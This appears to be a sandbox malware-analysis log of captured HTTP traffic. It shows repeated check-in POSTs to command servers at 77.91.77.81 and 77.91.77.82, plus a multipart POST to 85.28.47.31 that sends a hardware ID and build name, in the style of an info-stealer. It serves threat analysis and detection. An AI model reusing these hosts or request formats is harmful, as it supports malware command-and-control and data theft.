Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 33 34 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000343001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGIJJDGCBKFIDHIEBKEHost: 85.28.47.31Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 35 45 45 30 33 45 36 32 37 39 31 39 32 32 30 36 33 34 39 37 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 2d 2d 0d 0a Data Ascii: ------HDGIJJDGCBKFIDHIEBKEContent-Disposition: form-data; name="hwid"C5EE03E62791922063497------HDGIJJDGCBKFIDHIEBKEContent-Disposition: form-data; name="build"sila------HDGIJJDGCBKFIDHIEBKE--
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
